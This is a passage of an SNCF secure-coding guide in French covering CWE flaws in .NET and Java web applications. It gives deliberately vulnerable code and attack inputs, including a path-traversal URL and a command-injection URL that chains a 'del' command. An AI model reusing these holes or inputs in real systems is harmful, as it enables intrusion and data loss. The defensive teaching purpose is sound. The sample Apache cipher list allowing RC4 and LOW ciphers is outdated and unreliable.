SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 27 / 27

- l’ ESAPI de contrôle d’accès de l’OWASP,

- Java : une implémentation de l’API de contrôle d’accès JAAS, ou l’infrastructure de sécurité JEE du serveur d’application utilisé ;

- Java : si Spring est utilisé, le composant Spring Security (anciennement ACEGI) ;

- ASP. NET : les fournisseurs de sécurité Membership

Contrôle d’accès basé sur les rôles

• utiliser de préférence un contrôle d’accès basé sur des rôles, plus facile à maîtriser et à maintenir que le contrôle d’accès basé sur des règles ou des ACL ;

- diviser l’application en zones anonyme, normal, privilégié et administrative ;

- réduire la surface d’attaque en faisant correspondre avec précision les rôles avec les données et fonctionnalités, et en vérifiant l’accès à chaque frontière entre les zones.

Remarque. Cette approche n’améliore pas nécessairement le contrôle d’accès horizontal, c'est-à-dire protégeant un utilisateur contre les attaques d’autres utilisateurs ayant le même rôle ou niveau de privilège que lui.

Contrôle d’accès par rapport à la logique métier

• s’assurer que les contrôles d’accès sont liés à la logique métier de l’application, et non à des ressources ou concepts de plus bas niveau tels que des fichiers, adresse réseau, tables ou enregistrements de base de donnée — de tels contrôles bas niveau sont en effet différents en termes de permissions et de granularité, et ne s’appuient pas sur des données et concepts métier permettant la discrimination adéquate nécessaire au contrôle d’accès.

Par exemple, une politique de restriction d’accès trop spécifique au niveau du SGBD est inutile si l’application Web utilise un seul compte technique de connexion.

Parallèlement, une même entité métier sur laquelle on désire restreindre l’accès peut se trouver éparpillée dans plusieurs tables, qui elles-mêmes peuvent aussi contenir des données partielles d’autres entités de type différent (par le biais de la normalisation du schéma de la base par exemple) : il est donc vain ou trop complexe de vouloir dans ce cas définir des restrictions au niveau des tables ou des enregistrements de la table de la base de données.

Page 31: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 28 / 28

6 – CWE 807 : Décision de sécurité dépendante d’entrées non vérifiées

Caractéristiques

Fréquence de la faille Facilité de détection Coût de correction Probabilité de connaissance Fréquence des attaques Conséquences / impact [SB]

Description Cette faille apparaît lorsqu’une application base son mécanisme de protection ou une décision de sécurité sur une valeur en entrée. Si cette valeur est compromise ou modifiée, un attaquant peut outrepasser les mécanismes de protection de l’application.

Dans le cadre d’une application Web, les inputs peuvent être très facilement manipulés par un attaquant, par exemple en forgeant une URL, ce qui rend les applications Web très vulnérables à cette faille.

Exemples La figure 14 donne un exemple en Java, ou la détermination du rôle applicatif d’un utilisateur est définie par la lecture d’un cookie client.

Cookie[] cookies = request.getCookies(); for (int i = 0; i < cookies.length; i++) { Cookie c = cookies[i]; if (c.getName().equals( "role" )) { userRole = c.getValue(); break ; } }

Figure 14 : Affection de rôle par cookie client

La modification du cookie côté client permet ici d’usurper les droits de l’utilisateur par modification de son appartenance aux rôles utilisés par l’application.

Prévention

Contrôle des informations d’état

• ne pas conserver d’information d’état (utilisateur, session, application) sur le client sans contrôle d’intégrité et d’authenticité fiable, tel que du hashage ou signature par clé par exemple ;

- préférer la conservation des informations d’état coté serveur, et s’assurer que le système stocke l’état de l’utilisateur de façon non ambiguë, et contrôle correctement les transitions entre les différents états possibles en fonction des droits de l’utilisateur ;

Page 32: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 29 / 29

Utilisation d’un framework de contrôle de l’état fiable

• se baser sur les mécanismes de gestion de session intégrés aux environnements JEE (Servlet ou JSP) et ASP.NET ;

• utiliser une librairie ou un framework éprouvé et fiable permettant de mieux contrôler l’état et d’éviter cette faille plus facilement, par exemple :

- ASP.NET : utiliser le viewstate , ce qui permet un premier niveau de contrôle d’intégrité sur le contenu de la page ;

- Java : de nombreuses bibliothèques existent, nous pouvons citer Spring WebFlow pour le contrôle d’enchaînements de pages particulièrement complexes.

Contrôle des inputs

• considérer que tout input du navigateur est manipulable par un attaquant ;

• tous les contrôles de validité d’input effectués côté client doivent être dupliqués côté serveur, car ils peuvent être manipulés facilement par un attaquant côté client ;

• identifier tous les vecteurs d’entrées pouvant amener à des décisions de sécurité, notamment :

- les cookies et headers HTTP,

- toute donnée lue sur le réseau (par exemple les requêtes DNS),

- les variables d’environnement,

- les requêtes à des composants externes,

- les données persistées (fichiers, bases de données, …) ;

Page 33: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 30 / 30

7 – CWE-022 : Limitation défaillante d’un chemin d’accès à un répertoire donné (Path Traversal)

Caractéristiques

Fréquence de la faille Facilité de détection Coût de correction Probabilité de connaissance Fréquence des attaques Conséquences / impact [CE] [DL] [DoS]

Description Les données échangées entre client et serveur d’application Web passent souvent par des fichiers, soit téléchargés du serveur (download) ou vers le serveur (upload). Lorsqu’un fichier est téléchargé, il peut-être demandé à l’utilisateur d’entrer un chemin relatif, ou bien un tel chemin peut être spécifié dans un paramètre de la page.

Lorsque ce chemin vient d’un input de l’utilisateur ou de la page (alors sujet à forge d’URL), un utilisateur mal intentionné peut le faire pointer à l’extérieur du répertoire prévu à cet effet, dans lequel il devrait normalement rester confiné.

En d’autres termes, cette faille est présente lorsque l’application utilise des données venant du client pour construire un chemin d’accès vers un fichier ou un répertoire donné, situé dans un répertoire parent à accès et droits restreints, mais que l’application ne contrôle pas correctement la chaîne de caractère utilisée pour construire le chemin, et qui peut alors comprendre des éléments permettant de « sortir » du répertoire parent.

Des éléments, comme des successions de ".. ", permettront en effet de sortir d’un répertoire si des précautions particulières ne sont pas prises.

Exemples

Validation de chemin insuffisante

String path = request.getParameter( "input_path" ); if (path.startsWith( "/safe_dir/" )) { File f = new File(path); f.delete() }

Figure 15. Exemple de code Java avec validation insuffisante d’un chemin

Le code figure 15 tente de valider un chemin à partir d’une whitelist (liste de valeurs acceptées, ici une seule valeur) de préfixes, puis efface le fichier pointé par ce chemin.

La validation n’est ici pas suffisante car elle ne vérifie pas la présence d’éléments permettant de remonter dans l’arborescence ("../ "), et donc de sortir du répertoire prévu.

Un attaquant pourrait par exemple fournir la valeur suivante :

/safe_dir/../important.dat

Page 34: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 31 / 31

Java – Chemin déterminé par un paramètre de requête HTTP

<form action= "downloadDocument.do" method=POST > <input type =hidden name= "rel_path" value ="ref/12G78_user_guide.pdf" > <input type =submit value= "Get PDF document" >

String filepath = DOC_BASEDIR + request.getParamete r( "rel_path" ); File document = new File(filepath);

Figure 16. Exemple de code HTML et Java utilisant un paramètre pour construire un chemin

Dans cet exemple, la valeur du chemin relatif est déterminée par le paramètre de la requête HTTP rel_path , donné par un champ hidden du formulaire HTML. Toutefois rien n’empêche un utilisateur malicieux de forger l’URL suivant :

http://(...)/downloadDocument.do?rel_path=..%2f..%2 fetc%2fpassword

La valeur de rel_path sera alors «../../etc/password », ce qui n’est pas souhaitable.

Prévention De manière générale, la mise en œuvre d’outils de confinement système sur le serveur tels que « SELinux » ou « chroot » permettent de restreindre les arborescences autorisées sur les applications web et d’interdire entre autre l’accès aux arborescences « système »/

Contrôle et validation des inputs

• considérer que tout input du navigateur est manipulable par un attaquant ;

• n’accepter que les inputs qui répondent strictement aux spécifications, et se baser

pour cela de préférence sur une approche whitelist (liste des valeurs ou formats acceptés) que sur une approche blacklist (liste d’exclusion) ;

• lors du contrôle ou de la validation d’un input, considérer toutes les propriétés de

ce dernier (longueur, type, caractères spéciaux, format ou syntaxe, valeur manquante, ensemble des valeurs possibles, cohérence avec d’autres champs, etc.) ;

• pour les noms de fichier, faire une sélection stricte des caractères autorisés,

n’autoriser qu’un seul ‘. ’ pour éviter l’injection de chemins relatifs, et exclure tout séparateur de répertoire comme ‘/ ’ pour éviter l’injection de chemins absolus ;

• contrôler les extensions de fichier autorisées (whitelist), afin d’éviter CWE 434 ;

• tout input utilisé pour un chemin devrait être préalablement décodé dans sa forme

canonique, ou une forme interne univoque utilisée par l’application, avant d’être contrôlé. Des exemples de fonctions permettant d’obtenir la forme canonique d’un chemin d’accès sont :

- Java : getCanonicalPath()

- ASP.NET : GetFullPath()

- PHP : realpath()

Page 35: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 32 / 32

Niveau de privilèges minimums et bac à sable

• exécuter le code (par le serveur) avec les droits minimums nécessaires à

l’application, vis-à-vis du système de fichier et du système d’exploitation :

- créer un compte dédié avec le minimum de droits,

• ne pas exécuter un serveur d’application comme Tomcat avec les droits de root ,

- avec IIS, utiliser les comptes d’exécution des ApplicationsPools non-privilégiés, comme NetWorkService par défaut ;

• si possible utiliser une technique de jail ou de sandbox (bac à sable) permettant

d’isoler encore plus efficacement les privilèges du processus par rapport au reste du système de fichiers, des exemples typiques d’outils sont :

- Unix/linux : chroot , AppArmor , ou SELinux ;

- Java : la configuration de java.io.FilePermission du Security Manager ;

- .NET : utiliser l’isolation des ApplicationsPools de IIS ( > v6.0), ou bien le Code Access Security Policy (caspol.exe )

Page 36: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 33 / 33

8 – CWE-434 : Soumission de fichiers dangereux par téléchargement

Caractéristiques

Fréquence de la faille Facilité de détection Coût de correction Probabilité de connaissance Fréquence des attaques Conséquences / impact [CE]

Description Les applications permettant le téléchargement de fichiers, doivent vérifier le format des envois réalisés par le client. En effet, si l’extension par exemple n’est pas testée, l’envoi de fichier .php , .exe est possible et devient un vecteur d’injection de comportement pouvant compromettre le serveur ou l’application.

Exemples Partie 1 : le formulaire standard HTML permet l’envoi d’un fichier dans un champ de formulaire de type « file », comme le montre la figure 17.

<form action=" FileUploadServlet " method=" post " enctype=" multipart/form-data "> Choose a file to upload: <input type=" file " name=" filename "> <br> <input type=" submit " name=" submit " value=" Submit "> </form>

Figure 17 : Formulaire HTML d'envoi d'un fichier

Partie 2 : le fichier téléchargé est traité par le servlet . Dans cet exemple (code en bleu), le fichier est stocké sur le serveur sans aucun contrôle sur le fichier lui-même. Il devient alors possible d’envoyer n’importe quel fichier exécutable malicieux, qui pourra potentiellement être exploité plus tard par une autre faille.

protected void doPost(HttpServletRequest request, HttpServletResp onse response) throws ServletException, IOException { response.setContentType( "text/html" ); PrintWriter out = response.getWriter(); String contentType = request.getContentType(); // the starting position of the boundary header String boundary = contentType.substring(contentTyp e.indexOf( "boundary=" )+9); // verify that content type is multipart form data if (contentType != null && contentType.indexOf( "multipart/form-data" ) != -1) { // extract filename from HTTP header BufferedReader br = new BufferedReader( new InputStreamReader(request.getInputStream())); String line = br.readLine(); String name = line.substring(line.lastIndexOf( '\\' ), line.lastIndexOf( '"' )); ... // output the file to the local upload directory try { BufferedWriter bw = new BufferedWriter(

Page 37: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 34 / 34

new FileWriter(UPLOAD_DIRECTORY_STRING + name, true)); for (String line; (line = br.readLine()) != null; ) { if (line.indexOf(boundary) == -1) { bw.write(line); bw.newLine(); bw.flush(); } } bw.close(); } catch (IOException ex) {...} } else {...} }

Figure 18 : Exemple de Servlet de traitement du fichier téléchargé

Remarque. Dans l’exemple ci-dessus, l’utilisation du BufferedWriter est aussi soumise à une faille potentielle de type Relative Path Traversal (CWE-22 et CWE 23).

Prévention

Contrôle et validation d’input

• utiliser une whitelist des extensions autorisées — attention à l’exposition aux

failles XSS (CWE-79) si les extensions .htm et .html sont autorisées ;

• s’assurer que la vérification des extensions n’est pas basée sur la casse ;

• faire attention à l’utilisation d’une double extension (fichier.xxx.yyy ) qui peut

parfois outrepasser les vérifications de surface insuffisantes ;

Séparation entre traitement (code) et données (input)

stocker les fichiers téléchargés dans un autre espace que sous le document root du serveur web, de préférence un espace non accessible par HTTP et non scriptable ;

• si possible, générer un nouveau nom de fichier pour chacun des fichiers

téléchargés, plutôt que de se baser sur un nom fourni en input ;

ne pas se baser exclusivement sur le type MIME et le nom de fichier (extension) pour analyser le danger potentiel d’un fichier, ces vérifications n’étant pas toujours suffisantes ;

- il existe quelques cas ou du code malicieux peut être caché à l’intérieur de fichiers à priori sans risques : par exemple, il est simple d’ajouter des données dans des images au format GIF — cette pratique est aussi appelée stéganographie. Ce danger est toutefois plus indirect que le fait de télécharger des fichiers directement exécutable par le serveur d’application, tels que des .php ou .jsp .

Page 38: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 35 / 35

9 – CWE-078 : Injection de commande système

Caractéristiques

Fréquence de la faille Facilité de détection

Coût de correction Probabilité de connaissance

Fréquence des attaques

Conséquences / impact [CE]

Description Tout comme l’injection SQL ou le cross site scripting, cette faille fait partie de la famille des injections et correspond au fait qu’un input non suffisamment validé est directement ou indirectement exécuté par un interpréteur, ici le système d’exploitation (ou un shell du système d’exploitation), en étant généralement inclus dans une commande générée et exécutée par le serveur d’application.

L’exécution directe de commande système, bien qu’à éviter dans le cas général, peut s’avérer nécessaire dans une application Web lorsque l’interpréteur ou le runtime hôte de l’application (ici la JVM ou .NET), et les librairies disponibles, ne permettent pas d’accéder à une fonctionnalité du système d’exploitation indispensable à l’application — ce qui reste assez rare. Cette technique ne doit bien sur pas être utilisée pour contourner des restrictions de sécurité définies au niveau des environnements des interpréteurs ou du serveur d’application.

Dans ce cas les paramètres de la commande peuvent éventuellement contenir des inputs qui, s’ils ne sont pas correctement validés, représentent une faille permettant à un attaquant d’inclure ses propres commandes dans la commande générée.

Exemples

Exécution d’un script spécifié dans une propriété système

Dans l’exemple figure 19 ci-dessous, l’application récupère le nom d’un script ou programme système à exécuter dans les propriétés systèmes.

String script = System.getProperty("SCRIPTNAME"); if (script != null ) System.exec(script);

Figure 19. Exemple de code Java permettant l’exécution dune commande système

Si un utilisateur arrive à prendre le contrôle de ces propriétés, il peut remplacer le script par un programme potentiellement dangereux lui permettant de compromettre le système, sans que cela soit facilement détectable par la suite.

Paramètre d’une commande système dérivé d’un input non validé

Le code de l’exemple présenté figure 20 ci-dessous vient d’une application web d’administration permettant de lancer un script shell utilisant la commande rman pour effectuer le backup d’une base de donnée Oracle, ainsi qu’un script cleanup.bat supprimant des fichiers temporaires utilisés lors du backup. Le script rmanDB.bat prend

Page 39: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 36 / 36

un argument en paramètre spécifiant le type de backup. Étant donné que l’accès à la base de données est contrôlé, le script doit être exécuté par un compte avec un accès privilégié.

String btype = request.getParameter(" backuptype "); String cmd = new String( " cmd.exe /K \"c:\\rmanDB.bat " + btype + " &&c:\\utl\\cleanup.bat\" "); System.Runtime.getRuntime().exec(cmd);

Figure 20. Code Java exécutant un script avec un paramètre dérivé d’un input non validé

Le problème est ici que le code Java ne fait aucune validation sur le paramètre btype venant de la requête HTTP, inséré tel quel dans la chaîne de caractères constituant la ligne de commande. Normalement Runtime.exec() n’exécute qu’une seule commande à la fois, mais ici cmd.exe (l’interpréteur de commandes Windows) est utilisé pour chaîner deux commandes par un ‘&’. Un attaquant peut donc tout à fait forger un URL avec d’autres ‘&’ dans btype pour injecter d’autres commandes, comme par exemple dans :

http://exemple.com/adm/backup?btype= normal+%26+del +c%3a%5crmanDB.bat

Ici la commande del c:\rmanDB.bat sera exécutée avec les mêmes droits que le script de backup, par le compte de l’application web, et a donc de fortes chances d’aboutir.

Prévention

Contrôle et validation des inputs

• considérer que tout input du navigateur est manipulable par un attaquant ;

• n’accepter que les inputs qui répondent strictement aux spécifications, et se baser

pour cela de préférence sur une approche whitelist (liste des valeurs ou formats acceptés) que sur une approche blacklist (liste d’exclusion) ;

• lors du contrôle ou de la validation d’un input, considérer toutes les propriétés de

ce dernier (longueur, type, caractères spéciaux, format ou syntaxe, valeur manquante, ensemble des valeurs possibles, cohérence avec d’autres champs, etc.) ;

• préférer un appel de librairie à un lancement de processus externe (basé sur

l’interpréteur de commande), même si cette première fait appel à du code natif.

Les librairies du langage cible sont en général déjà protégées (ce qui évite de reléguer cette responsabilité au développeur de l’application Web) et ne passent pas par l’interpréteur de commande mais par des appels de fonction système aux paramètres typés et séparés, réduisant significativement le risque d’interprétation accidentelle des paramètres ;

Encodage (échappement, quoting) d’outputs destinés aux commandes

• correctement encoder (échappement, quoting) toute donnée utilisée comme

argument de commande, échapper tout caractère spécial autorisé mais interprétable par le système, et rejeter tout caractère non présent dans une whitelist stricte :

utiliser des fonctions standard d’encodage si elles existent, produisant une chaîne de caractères inoffensive, en particulier si le paramètre n’est pas directement interprété par le programme en question en tant qu’option (par exemple, du texte libre, etc.) et doit pouvoir contenir des caractères spéciaux ;

Page 40: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 37 / 37

Niveau de privilèges minimums et bac à sable

• exécuter le code (par le serveur) avec les droits minimums nécessaires à

l’application, vis-à-vis du système d’exploitation :

- créer un compte dédié avec le minimum de droits,

- ne pas exécuter un serveur d’application comme Tomcat avec les droits de root ,

- A noter : à partir d’IIS 6.0, l’accès à l’interpréteur cmd.exe n’est pas autorisé par défaut au compte Network Service utilisé en standard par les applications web ;

si possible utiliser une technique de jail (prison) ou de sandbox (bac à sable) permettant d’isoler efficacement le processus par rapport au reste du système :

- des exemples d’outils sous linux sont chroot , AppArmor , ou SELinux

- notons que cette dernière stratégie protège le reste du système, mais n’empêche pas des attaques internes à l’application ;

- .NET : utiliser l’isolation des ApplicationsPools de IIS ( > v6.0) ;

Maîtrise et isolation des données utilisées dans les commandes

• pour toute donnée utilisée dans une commande système, garder au maximum ces

données du côté serveur, par exemple en session, hors de porté du client (le navigateur) et utiliser une table de correspondance avec des identifiants symboliques (numériques) lorsqu’un input détermine le choix d’une commande ou d’une option ;

si le programme peut prendre des paramètres en entrée standard ou dans un fichier de configuration, préférer cette méthode aux options en ligne de commande ;

Page 41: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 38 / 38

10 – CWE 311 : Absence de chiffrement dans la transmission des données sensibles

Caractéristiques

Fréquence de la faille

Facilité de détection

Coût de correction Probabilité de connaissance

Fréquence des attaques Conséquences / impact [DL]

Description Cette faille se produit lorsque les données importantes et sensibles utilisées et dans les applications sont transmises sur les réseaux sans précautions. Cet usage met en péril l’intégrité et la confidentialité de ces données, et peut compromettre l’application.

Exemples L’exemple le plus courant est la transmission des informations d’authentification d’une application web dans un formulaire HTML en HTTP. Si les données envoyées ne sont pas chiffrées en HTTPS, il est possible de les intercepter avec une analyse du trafic réseau.

Prévention

Analyse fonctionnelle de données sensibles

• les données sensibles doivent identifiées afin de déterminer si leur confidentialité

doit être assurée pendant le transport ;

Utilisation de technologies fiables et éprouvées pour le chiffrement

• éviter de re-développer ses propres mécanismes cryptographiques.

• pour les échanges dans les applications web entre le client et le serveur,

l’utilisation du chiffrement Secure Sockets Layer (SSL) ou de Transport Layer Security (TLS, une évolution de SSL)5 est une solution très courante, préconisée pour les formulaires d’identification contenant une saisie de mot passe par exemple ;

SSL ou TLS sont des protocoles permettant un chiffrement de la couche transport. Ici, ils apportent la confidentialité et l’intégrité des données échangées.

Remarques.

- l’activation de SSL/TLS sur une application web entière introduit une surcharge significative au niveau du serveur web ;

- l’utilisation de SSL/TLS sur des serveurs web mutualisés (Apache ou Microsoft IIS) ajoute des contraintes de configuration supplémentaires ;

5 SSL / TLS : http://fr.wikipedia.org/wiki/Secure_Sockets_Layer

Page 42: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 39 / 39

Java / Apache / Tomcat :

- si Tomcat est utilisé derrière Apache, ou un serveur Web basé sur Apache, configurer un certificat sur Apache et un VirtualHost séparé en HTTPS (ou plusieurs selon le besoin) pour les URL à protéger, et inclure les directives ProxyPass ajp://… habituelles dans ce VirtualHost. Tomcat ne participera alors pas au chiffrement et déchiffrement. Se référer à la documentation d’Apache ([19] et au document interne de sécurisation Apache [20])

<VirtualHost 10.148.108.71:443> ServerName xxxx.dsit.sncf.fr ProxyPass / ajp://localhost:8889/ ProxyPassReverse / ajp://localhost:8889/ SSLEngine on SSLProtocol all -SSLv2 # SSL Cipher Suite: # List the ciphers that the client is permitted to negotiate. # See the mod_ssl documentation for a complete list . SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIG H:+MEDIUM:+LOW # Server Certificate: # Point SSLCertificateFile at a PEM encoded certifi cate. If # the certificate is encrypted, then you will be pr ompted for a # pass phrase. Note that a kill -HUP will prompt a gain. A new # certificate can be generated using the genkey(1) command. SSLCertificateFile /etc/pki/tls/certs/seminaires.cr t # Server Private Key: # If the key is not combined with the certificate , use this # directive to point at the key file. Keep in mi nd that if # you've both a RSA and a DSA private key you can configure # both in parallel (to also allow the use of DSA ciphers, etc.) SSLCertificateKeyFile /etc/pki/tls/private/seminair es.key SetEnvIf User-Agent ".*MSIE.*" \ nokeepalive ssl-unclean-shutdown \ downgrade-1.0 force-response-1.0 # Per-Server Logging: # The home of a custom SSL log file. Use this whe n you want a # compact non-error SSL logfile on a virtual host basis. CustomLog logs/ssl_request_log \ "%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \" %r\" %b" </VirtualHost>

Figure 21 : Exemple de configuration SSL dans Apache

- si Tomcat est utilisé directement, alors il est nécessaire de configurer le certificat directement dans Tomcat et de configurer un <Connector> adéquat — se référer à la documentation de Tomcat pour cela ; [18]

ASP.NET : activer SSL/TLS sur un sous-ensemble de pages ASPX, par configuration dans le fichier web.config de l’application ;

Pré-requis. Un certificat SSL doit être installé sur le serveur IIS.

La solution technique proposée repose sur l’utilisation d’un IHttpModule ASP.NET qui active la bascule HTTP ↔ HTTPS si la page est présente ou non dans la liste.

Page 43: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 40 / 40

<configuration> <configSections> <sectionGroup name="RequiresSSL" > <section name="RequiresSSL_Files" type ="System.Configuration.NameValueSectionHandler,syste m,Version=1.0.3300.0,Culture=neutral, PublicKeyToken=b77a5c561934e089,Cust om=null" /> </sectionGroup> </configSections> <RequiresSSL> <RequiresSSL_Files> <!-- Liste des pages necessitant un protocole https --> <!-- <add key="LogonPage.aspx" value="true" /> --> <!-- <add key="webResource.axd" value="true" /> --> <!-- Quand vous developpez avec un serveur web loca l, commenter la liste de fichiers afin de désactiver S SL. Une fois l'application livrée sur un serveur qui dispose d'un certificat, décommenter la liste de fichier pour réactiver le SSL. --> </RequiresSSL_Files> </RequiresSSL> <system.web> <httpModules> <!-- Activation du module SslSwitcher --> <add name="SslSwitcher" type ="Sncf.Dsit.StarterKit2005.WebUI.Common.SslSwitcher" /> </httpModules> </system.web> </configuration>

Figure 22 : Exemple de configuration du httpModule

public class SslSwitcher : IHttpModule { private static Dictionary<string, bool> _listePage = new Dictionary<string, bool>(); /// <summary> /// Initializes a new instance of the <see cref="S slSwitcher"/> class. /// </summary> public SslSwitcher() { // rien } #region IHttpModule Members /// <summary> /// Initializes a module and prepares it to handle requests. /// </summary> /// <param name="context">An <see cref="T:System.W eb.HttpApplication"/> /// that provides access to the methods, propertie s, and events common /// to all application objects within an ASP.NET a pplication</param> public void Init(HttpApplication context) { context.PreRequestHandlerExecute += new EventHand ler( ContextPreRequestHandlerExecute); //Get list of files to be secured NameValueCollection sslFiles = (NameValueCollecti on)ConfigurationManager. GetSection("RequiresSSL/RequiresSSL_Files"); foreach (string key in sslFiles.Keys) { _listePage.Add(key, true); } } /// <summary> /// Disposes of the resources (other than memory) used by the module /// that implements <see cref="T:System.Web.IHttpM odule"/>. /// </summary> public void Dispose() { // Nothing To Do

Page 44: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 41 / 41

} #endregion private void ContextPreRequestHandlerExecute(objec t sender, EventArgs e) { bool requiresSSL = false; HttpContext ctx = HttpContext.Current; string file = ctx.Request.Url.PathAndQuery.ToUppe rInvariant(); //Strip queary string for now if(file.IndexOf("?", StringComparison.OrdinalIgno reCase) > -1) file = file.Substring(0, file.IndexOf("?", StringComparison.OrdinalIgnoreCase)); //Now check the files, only if path doesn't requi re SSL if (requiresSSL == false) requiresSSL = IsFileInrequiredCollection(file); if (requiresSSL && ctx.Request.IsSecureConnection == false) { ctx.Response.Redirect(ctx.Request.Url.ToString() .ToLower() .Replace("http:", "https:")); } if (requiresSSL == false && ctx.Request.IsSecureC onnection) { ctx.Response.Redirect(ctx.Request.Url.ToString() .ToLower() .Replace("https:", "http:")); } } private static bool IsFileInrequiredCollection(str ing filename) { bool RequiresSSL = false; foreach (string key in _listePage.Keys) { if (filename.StartsWith(key.ToUpperInvariant(), StringComparison.OrdinalIgnoreCase) || filenam e.EndsWith( key.ToUpperInvariant(), StringComparison.Ordin alIgnoreCase)) { RequiresSSL = true; break; } } return RequiresSSL; } }

Figure 23 : Implémentation du httpModule

Page 45: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 42 / 42

11 – CWE-798 : Utilisation de mot de passe en dur dans le code

Caractéristiques

Fréquence de la faille Facilité de détection Coût de correction

Probabilité de connaissance

Fréquence des attaques Conséquences / impact [SB]

Description Cette faille se produit lorsqu’un secret, tel qu’un mot de passe ou une clé privée d’authentification ou de cryptage, est stocké en dur dans le code de l’application, ou bien camouflé dans un fichier de configuration livré en standard avec l’application — ce secret étant ensuite utilisé soit lors de l’authentification des utilisateurs, soit pour authentifier l’application auprès d’une autre application (de back-end), soit pour crypter des données.

Le deuxième cas, probablement le plus courant, peut être particulièrement compromettant si le code se retrouve du côté client (heureusement plus rare avec des applications Web), car alors tout utilisateur décompilant ce code pourrait trouver le mot de passe.

Utiliser un mot de passe en dur dans le code doit être absolument bannit, quelles qu’en soient les raisons invoquées.

Exemples Dans l’exemple figure 24 ci-dessous, le mot de passe de connexion à la base de données (‘ tiger’ ) est en dur dans le code Java, ce qui le rend non seulement difficile, voir impossible, à modifier par un administrateur ou un responsable de déploiement, mais aussi relativement facile à trouver par toute personne décompilant le bytecode Java résultant.

DriverManager.getConnection(url, " scott ", " tiger ");

Figure 24. Exemple de mot de passe en dur dans le code

Prévention

Obligation de personnalisation du mot de passe administrateur

• pour l’authentification administrateur initiale, appliquer une stratégie de « premier

login » lors de l’installation, obligeant l’utilisateur à spécifier un mot de passe en installant l’application ; ce mot de passe administrateur sera chiffré en base ou sur un fichier protégé ;

Chiffrement et stockage des mots de passe

• toujours stocker les mots de passe applicatifs ou clés privées en dehors du code

livré, paramétrable dans des fichiers de configuration ou key-ring protégés et sécurisés, et non accessibles par tout utilisateur autre que le ou les administrateurs ;

